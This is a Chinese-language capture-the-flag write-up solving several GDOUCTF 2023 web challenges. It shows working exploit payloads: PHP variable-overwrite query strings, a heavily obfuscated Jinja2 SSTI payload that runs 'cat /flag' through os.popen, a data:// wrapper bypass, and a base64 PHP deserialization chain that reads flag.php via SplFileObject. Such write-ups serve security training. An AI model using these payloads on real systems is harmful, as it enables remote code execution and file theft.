GDOUCTF web部分题解 2023

hate eat snake

前端小游戏,初始页面不能F12和Ctrl+R。可以右键,但是源码界面(右键后)可以F12控制台。

先玩死自己

GDOUCTF web部分题解 2023_第1张图片

然后在源码界面输入这个derectkey = 40,这样之后等一会,应该是一分钟。

GDOUCTF web部分题解 2023_第2张图片

然后回到主页面,点击空格。

GDOUCTF web部分题解 2023_第3张图片

GDOUCTF web部分题解 2023_第4张图片

受不了一点

源码:

 $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $f1ag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?>

简单变量覆盖

payload:

?aaa=114514a&bbb=114514b&flag=a&a=flag               //GET
?aaa=114514a&bbb=114514b&flag=1                      //或者
?aaa=114514a&bbb=114514b&flag=1&1=2&2=flag           //或者

gdou[]=1&ctf[]=2     //POST
cookie=j0k3r     //COOKIE

EZ WEB

源码有提示。

GDOUCTF web部分题解 2023_第5张图片

访问/src

GDOUCTF web部分题解 2023_第6张图片

PUT方法在==/super-secret-route-nobody-will-guess==目录下随便传参得到flag。

GDOUCTF web部分题解 2023_第7张图片

输入{%%},一顿错误操作发现是SSTI,jinja2.

GDOUCTF web部分题解 2023_第8张图片

GDOUCTF web部分题解 2023_第9张图片

{%print(7*7)%}

GDOUCTF web部分题解 2023_第10张图片

过滤了:
.
_
[]
"
\
{{

https://www.yuque.com/zouyii/xwt9cw/gh2awwnmsomiu0p7

{%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cflg%0c=%0cdict(fl=aa,ag=dd)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{%print(b(pld))%}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}

注意:
{%print(%0cb(pld)%0c)%}把{{b(pld)}}换掉了
# 首先构造出所需的数字: 
{% set zero = (self|int) %}    # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2
{% set four = (two*two)|int %}    # 4
{% set five = (two*two*two)-one-one-one %}    # 5
{% set three = five-one-one %}    # 3
{% set nine = (two*two*two*two-five-one-one) %}    # 9
{% set seven = (zero-one-one-five)|abs %}    # 7

# 构造出所需的各种字符与字符串: 
{% set space = self|string|min %}    # 空格
{% set point = self|float|string|min %}    # .

{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc = bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %}    # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %}    # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %}    # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %}    # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %}    # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import
{% set pon = dict(po=aa,pen=dd)|join %}    # popen
{% set so = dict(o=aa,s=dd)|join %}    # os
{% set ca = dict(ca=aa,t=dd)|join %}    # cat
{% set l = dict(l=aa,s=dd)|join %}           #ls     //{%%0cset%0cls%0c=%0cdict(l=aa,s=dd)|join%0c%}
{% set flg = dict(fl=aa,ag=dd)|join %}    # flag
{% set ev = dict(ev=aa,al=dd)|join %}    # eval
{% set red = dict(re=aa,ad=dd)|join %}    # read
{% set bul = xhx~xhx~but~xhx~xhx %}    # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %}    # init
{% set glo = dict(glo=aa,bals=bb)|join %}    # globals
{% set itm = dict(ite=aa,ms=bb)|join %}    # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read(): 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了: 
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}    # globals
    {% if f == bul %} 
        {% for a,b in (v|attr(itm))() %}    # builtins
            {% if a == ev %}    # eval
                {{b(pld)}}    # eval("__import__('os').popen('cat /flag').read()")
                {% endif %}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

只能hackerbar发包,name=payload。 //POST

GDOUCTF web部分题解 2023_第11张图片

补一下题

泄露的伪装

GDOUCTF web部分题解 2023_第12张图片

先拿dirsearch扫一下。

GDOUCTF web部分题解 2023_第13张图片

test.txt


error_reporting(0);
if(isset($_GET['cxk'])){
    $cxk=$_GET['cxk'];
    if(file_get_contents($cxk)=="ctrl"){
        echo $flag;
    }else{
        echo "娲楁礂鐫″惂";
    }
}else{
    echo "nononoononoonono";
}
?>

www.rar。6,玩这么花[goutou]。

GDOUCTF web部分题解 2023_第14张图片


error_reporting(0);
if(isset($_GET['cxk'])){
    $cxk=$_GET['cxk'];
    if(file_get_contents($cxk)=="ctrl"){
        echo $flag;
    }else{
        echo "洗洗睡吧";
    }
}else{
    echo "nononoononoonono";
}
?>
payload:
?cxk=data://text/plain,ctrl

反方向的钟

源码


error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

链子:

school::__wakeup()–>classroom::hahaha()–>school::IPO()

//poc

payload:

?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php    //POST,直接用php的内置类SplFileObject来读取文件内容

GDOUCTF web部分题解 2023_第15张图片

GDOUCTF web部分题解 2023_第16张图片

你可能感兴趣的:(CTF赛事,web安全)